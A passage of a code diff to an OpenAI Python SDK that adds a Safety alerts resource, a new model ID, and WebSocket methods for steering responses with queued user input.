models: Models = ModelsProxy().__as_proxied__()
+safety: Safety = SafetyProxy().__as_proxied__()
skills: Skills = SkillsProxy().__as_proxied__()
videos: Videos = VideosProxy().__as_proxied__()
batches: Batches = BatchesProxy().__as_proxied__()
diff --git a/src/openai/resources/__init__.py b/src/openai/resources/__init__.py
index 9c20dc3067..82b7c60739 100644
--- a/src/openai/resources/__init__.py
+++ b/src/openai/resources/__init__.py
@@ -64,6 +64,14 @@
ModelsWithStreamingResponse,
AsyncModelsWithStreamingResponse,
)
+from .safety import (
+ Safety,
+ AsyncSafety,
+ SafetyWithRawResponse,
+ AsyncSafetyWithRawResponse,
+ SafetyWithStreamingResponse,
+ AsyncSafetyWithStreamingResponse,
+)
from .skills import (
Skills,
AsyncSkills,
@@ -220,6 +228,12 @@
"AsyncVectorStoresWithRawResponse",
"VectorStoresWithStreamingResponse",
"AsyncVectorStoresWithStreamingResponse",
+ "Safety",
+ "AsyncSafety",
+ "SafetyWithRawResponse",
+ "AsyncSafetyWithRawResponse",
+ "SafetyWithStreamingResponse",
+ "AsyncSafetyWithStreamingResponse",
"Beta",
"AsyncBeta",
"BetaWithRawResponse",
diff --git a/src/openai/resources/admin/organization/usage.py b/src/openai/resources/admin/organization/usage.py
index 80bf712a03..21d9a42207 100644
--- a/src/openai/resources/admin/organization/usage.py
+++ b/src/openai/resources/admin/organization/usage.py
@@ -439,7 +439,7 @@ def costs(
180, and the default is 7.
line_items: Return only costs for these exact line item names. Each value must match the
- complete `line_item` value, for example `gpt-5.6-sol, input_tokens`.
+ complete `line_item` value, for example `gpt-6-astra, input_tokens`.
page: A cursor for use in pagination. Corresponding to the `next_page` field from the
previous response.
@@ -1399,7 +1399,7 @@ async def costs(
180, and the default is 7.
line_items: Return only costs for these exact line item names. Each value must match the
- complete `line_item` value, for example `gpt-5.6-sol, input_tokens`.
+ complete `line_item` value, for example `gpt-6-astra, input_tokens`.
page: A cursor for use in pagination. Corresponding to the `next_page` field from the
previous response.
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 8d880f1c1b..ac707f855b 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -61,6 +61,7 @@
from ....types.beta.beta_responses_client_event import BetaResponsesClientEvent
from ....types.beta.beta_responses_server_event import BetaResponseWsError, BetaResponsesServerEvent
from ....types.beta.beta_response_input_item_param import BetaResponseInputItemParam
+from ....types.beta.beta_response_steer_input_param import BetaResponseSteerInputParam
from ....types.beta.beta_response_text_config_param import BetaResponseTextConfigParam
from ....types.beta.beta_responses_client_event_param import BetaResponsesClientEventParam
@@ -118,6 +119,7 @@ def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -330,7 +332,7 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -513,6 +515,7 @@ def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -731,7 +734,7 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -907,6 +910,7 @@ def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -1125,7 +1129,7 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -1299,6 +1303,7 @@ def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -1780,6 +1785,7 @@ def compact(
*,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -1911,7 +1917,7 @@ def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -2009,7 +2015,7 @@ def connect(
) -> ResponsesConnectionManager:
"""Connect to a persistent Responses API WebSocket.
- Send `response.create` events and receive response stream events over the socket.
+ Send `response.create` events to create responses and `response.steer` events to queue user input containing text, images, or files for a continuation. Receive response stream events and steering acceptance, pending, or failure events over the socket.
"""
return ResponsesConnectionManager(
client=self._client,
@@ -2067,6 +2073,7 @@ async def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -2279,7 +2286,7 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -2462,6 +2469,7 @@ async def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -2680,7 +2688,7 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -2856,6 +2864,7 @@ async def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -3074,7 +3083,7 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -3248,6 +3257,7 @@ async def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -3729,6 +3739,7 @@ async def compact(
*,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -3860,7 +3871,7 @@ async def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -3958,7 +3969,7 @@ def connect(
) -> AsyncResponsesConnectionManager:
"""Connect to a persistent Responses API WebSocket.
- Send `response.create` events and receive response stream events over the socket.
+ Send `response.create` events to create responses and `response.steer` events to queue user input containing text, images, or files for a continuation. Receive response stream events and steering acceptance, pending, or failure events over the socket.
"""
return AsyncResponsesConnectionManager(
client=self._client,
@@ -4301,11 +4312,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("response.inject.created", my_handler)
+ connection.on("response.steer.accepted", my_handler)
Or as a decorator::
- @connection.on("response.inject.created")
+ @connection.on("response.steer.accepted")
async def my_handler(event): ...
"""
if handler is not None:
@@ -4752,11 +4763,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("response.inject.created", my_handler)
+ connection.on("response.steer.accepted", my_handler)
Or as a decorator::
- @connection.on("response.inject.created")
+ @connection.on("response.steer.accepted")
def my_handler(event): ...
"""
if handler is not None:
@@ -5005,6 +5016,40 @@ def inject(self, *, input: Iterable[BetaResponseInputItemParam], response_id: st
"""
self._connection.send({"type": "response.inject", "input": input, "response_id": response_id})
+ def steer(self, *, input: BetaResponseSteerInputParam, previous_response_id: str) -> None:
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+ self._connection.send({"type": "response.steer", "input": input, "previous_response_id": previous_response_id})
+
def create(
self,
*,
@@ -5020,6 +5065,7 @@ def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -5219,6 +5265,42 @@ async def inject(self, *, input: Iterable[BetaResponseInputItemParam], response_
"""
await self._connection.send({"type": "response.inject", "input": input, "response_id": response_id})
+ async def steer(self, *, input: BetaResponseSteerInputParam, previous_response_id: str) -> None:
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+ await self._connection.send(
+ {"type": "response.steer", "input": input, "previous_response_id": previous_response_id}
+ )
+
async def create(
self,
*,
@@ -5234,6 +5316,7 @@ async def create(
metadata: Optional[Dict[str, str]] | Omit = omit,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
diff --git a/src/openai/resources/chat/completions/completions.py b/src/openai/resources/chat/completions/completions.py
index ec1308ff81..abef2bf7c9 100644
--- a/src/openai/resources/chat/completions/completions.py
+++ b/src/openai/resources/chat/completions/completions.py
@@ -326,7 +326,7 @@ def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -658,7 +658,7 @@ def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -990,7 +990,7 @@ def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -1937,7 +1937,7 @@ async def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -2269,7 +2269,7 @@ async def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -2601,7 +2601,7 @@ async def create(
[images](https://platform.openai.com/docs/guides/vision), and
[audio](https://platform.openai.com/docs/guides/audio).
- model: Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
diff --git a/src/openai/resources/responses/api.md b/src/openai/resources/responses/api.md
index a5fec8f9b5..32e6f7ea9f 100644
--- a/src/openai/resources/responses/api.md
+++ b/src/openai/resources/responses/api.md
@@ -46,6 +46,8 @@ from openai.types.responses import (
ResponseComputerToolCall,
ResponseComputerToolCallOutputItem,
ResponseComputerToolCallOutputScreenshot,
+ ResponseConfigurationUpdateItem,
+ ResponseConfigurationUpdateItemParam,
ResponseContainerReference,
ResponseContent,
ResponseContentPartAddedEvent,
@@ -132,6 +134,15 @@ from openai.types.responses import (
ResponseShellCallOutputContentDeltaEvent,
ResponseShellCallOutputContentDoneEvent,
ResponseStatus,
+ ResponseSteerAcceptedEvent,
+ ResponseSteerErrorCode,
+ ResponseSteerEvent,
+ ResponseSteerFailedEvent,
+ ResponseSteerInput,
+ ResponseSteerInputContent,
+ ResponseSteerPendingEvent,
+ ResponseSteerPendingReason,
+ ResponseSteerRequiredInput,
ResponseStreamEvent,
ResponseTextConfig,
ResponseTextDeltaEvent,
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 487e82dc37..82f77328fc 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -87,6 +87,7 @@
from ...types.responses.responses_client_event import ResponsesClientEvent
from ...types.responses.responses_server_event import ResponseWsError, ResponsesServerEvent
from ...types.responses.response_input_item_param import ResponseInputItemParam
+from ...types.responses.response_steer_input_param import ResponseSteerInputParam
from ...types.responses.response_text_config_param import ResponseTextConfigParam
from ...types.responses.responses_client_event_param import ResponsesClientEventParam
@@ -247,7 +248,7 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -537,7 +538,7 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -820,7 +821,7 @@ def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -1724,6 +1725,7 @@ def compact(
*,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -1854,7 +1856,7 @@ def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -1948,7 +1950,7 @@ def connect(
) -> ResponsesConnectionManager:
"""Connect to a persistent Responses API WebSocket.
- Send `response.create` events and receive response stream events over the socket.
+ Send `response.create` events to create responses and `response.steer` events to queue user input containing text, images, or files for a continuation. Receive response stream events and steering acceptance, pending, or failure events over the socket.
"""
return ResponsesConnectionManager(
client=self._client,
@@ -2109,7 +2111,7 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -2399,7 +2401,7 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -2682,7 +2684,7 @@ async def create(
Keys are strings with a maximum length of 64 characters. Values are strings with
a maximum length of 512 characters.
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -3585,6 +3587,7 @@ async def compact(
*,
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -3715,7 +3718,7 @@ async def compact(
[Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
Args:
- model: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide
+ model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
[model guide](https://platform.openai.com/docs/models) to browse and compare
@@ -3809,7 +3812,7 @@ def connect(
) -> AsyncResponsesConnectionManager:
"""Connect to a persistent Responses API WebSocket.
- Send `response.create` events and receive response stream events over the socket.
+ Send `response.create` events to create responses and `response.steer` events to queue user input containing text, images, or files for a continuation. Receive response stream events and steering acceptance, pending, or failure events over the socket.
"""
return AsyncResponsesConnectionManager(
client=self._client,
@@ -4196,11 +4199,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("error", my_handler)
+ connection.on("response.steer.accepted", my_handler)
Or as a decorator::
- @connection.on("error")
+ @connection.on("response.steer.accepted")
async def my_handler(event): ...
"""
if handler is not None:
@@ -4647,11 +4650,11 @@ def on(
Can be used as a method (returns ``self`` for chaining)::
- connection.on("error", my_handler)
+ connection.on("response.steer.accepted", my_handler)
Or as a decorator::
- @connection.on("error")
+ @connection.on("response.steer.accepted")
def my_handler(event): ...
"""
if handler is not None:
@@ -4892,12 +4895,47 @@ def __init__(self, connection: ResponsesConnection) -> None:
class ResponsesResponseResource(BaseResponsesConnectionResource):
+ def steer(self, *, input: ResponseSteerInputParam, previous_response_id: str) -> None:
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+ self._connection.send({"type": "response.steer", "input": input, "previous_response_id": previous_response_id})
+
def create(
self,
*,
background: Optional[bool] | Omit = omit,
- context_management: Optional[Iterable[responses_client_event_param.ContextManagement]] | Omit = omit,
- conversation: Optional[responses_client_event_param.Conversation] | Omit = omit,
+ context_management: Optional[Iterable[responses_client_event_param.ResponseCreateContextManagement]]
+ | Omit = omit,
+ conversation: Optional[responses_client_event_param.ResponseCreateConversation] | Omit = omit,
include: Optional[List[ResponseIncludable]] | Omit = omit,
input: Union[str, ResponseInputParam] | Omit = omit,
instructions: Optional[str] | Omit = omit,
@@ -4905,12 +4943,12 @@ def create(
max_tool_calls: Optional[int] | Omit = omit,
metadata: Optional[Metadata] | Omit = omit,
model: ResponsesModel | Omit = omit,
- moderation: Optional[responses_client_event_param.Moderation] | Omit = omit,
+ moderation: Optional[responses_client_event_param.ResponseCreateModeration] | Omit = omit,
parallel_tool_calls: Optional[bool] | Omit = omit,
previous_response_id: Optional[str] | Omit = omit,
prompt: Optional[ResponsePromptParam] | Omit = omit,
prompt_cache_key: Optional[str] | Omit = omit,
- prompt_cache_options: responses_client_event_param.PromptCacheOptions | Omit = omit,
+ prompt_cache_options: responses_client_event_param.ResponseCreatePromptCacheOptions | Omit = omit,
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
@@ -4918,16 +4956,26 @@ def create(
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
- stream_options: Optional[responses_client_event_param.StreamOptions] | Omit = omit,
+ stream_options: Optional[responses_client_event_param.ResponseCreateStreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
text: ResponseTextConfigParam | Omit = omit,
- tool_choice: responses_client_event_param.ToolChoice | Omit = omit,
+ tool_choice: responses_client_event_param.ResponseCreateToolChoice | Omit = omit,
tools: Iterable[ToolParam] | Omit = omit,
top_logprobs: Optional[int] | Omit = omit,
top_p: Optional[float] | Omit = omit,
truncation: Optional[Literal["auto", "disabled"]] | Omit = omit,
user: str | Omit = omit,
) -> None:
+ """
+ Client event for creating a response over a persistent WebSocket connection.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
+
+ Notes:
+ - `stream` is implicit over WebSocket and should not be sent.
+ - `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
+ """
self._connection.send(
cast(
ResponsesClientEventParam,
@@ -4978,12 +5026,49 @@ def __init__(self, connection: AsyncResponsesConnection) -> None:
class AsyncResponsesResponseResource(BaseAsyncResponsesConnectionResource):
+ async def steer(self, *, input: ResponseSteerInputParam, previous_response_id: str) -> None:
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+ await self._connection.send(
+ {"type": "response.steer", "input": input, "previous_response_id": previous_response_id}
+ )
+
async def create(
self,
*,
background: Optional[bool] | Omit = omit,
- context_management: Optional[Iterable[responses_client_event_param.ContextManagement]] | Omit = omit,
- conversation: Optional[responses_client_event_param.Conversation] | Omit = omit,
+ context_management: Optional[Iterable[responses_client_event_param.ResponseCreateContextManagement]]
+ | Omit = omit,
+ conversation: Optional[responses_client_event_param.ResponseCreateConversation] | Omit = omit,
include: Optional[List[ResponseIncludable]] | Omit = omit,
input: Union[str, ResponseInputParam] | Omit = omit,
instructions: Optional[str] | Omit = omit,
@@ -4991,12 +5076,12 @@ async def create(
max_tool_calls: Optional[int] | Omit = omit,
metadata: Optional[Metadata] | Omit = omit,
model: ResponsesModel | Omit = omit,
- moderation: Optional[responses_client_event_param.Moderation] | Omit = omit,
+ moderation: Optional[responses_client_event_param.ResponseCreateModeration] | Omit = omit,
parallel_tool_calls: Optional[bool] | Omit = omit,
previous_response_id: Optional[str] | Omit = omit,
prompt: Optional[ResponsePromptParam] | Omit = omit,
prompt_cache_key: Optional[str] | Omit = omit,
- prompt_cache_options: responses_client_event_param.PromptCacheOptions | Omit = omit,
+ prompt_cache_options: responses_client_event_param.ResponseCreatePromptCacheOptions | Omit = omit,
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
@@ -5004,16 +5089,26 @@ async def create(
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
- stream_options: Optional[responses_client_event_param.StreamOptions] | Omit = omit,
+ stream_options: Optional[responses_client_event_param.ResponseCreateStreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
text: ResponseTextConfigParam | Omit = omit,
- tool_choice: responses_client_event_param.ToolChoice | Omit = omit,
+ tool_choice: responses_client_event_param.ResponseCreateToolChoice | Omit = omit,
tools: Iterable[ToolParam] | Omit = omit,
top_logprobs: Optional[int] | Omit = omit,
top_p: Optional[float] | Omit = omit,
truncation: Optional[Literal["auto", "disabled"]] | Omit = omit,
user: str | Omit = omit,
) -> None:
+ """
+ Client event for creating a response over a persistent WebSocket connection.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
+
+ Notes:
+ - `stream` is implicit over WebSocket and should not be sent.
+ - `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
+ """
await self._connection.send(
cast(
ResponsesClientEventParam,
diff --git a/src/openai/resources/safety/__init__.py b/src/openai/resources/safety/__init__.py
new file mode 100644
index 0000000000..542e420db4
--- /dev/null
+++ b/src/openai/resources/safety/__init__.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .alerts import (
+ Alerts,
+ AsyncAlerts,
+ AlertsWithRawResponse,
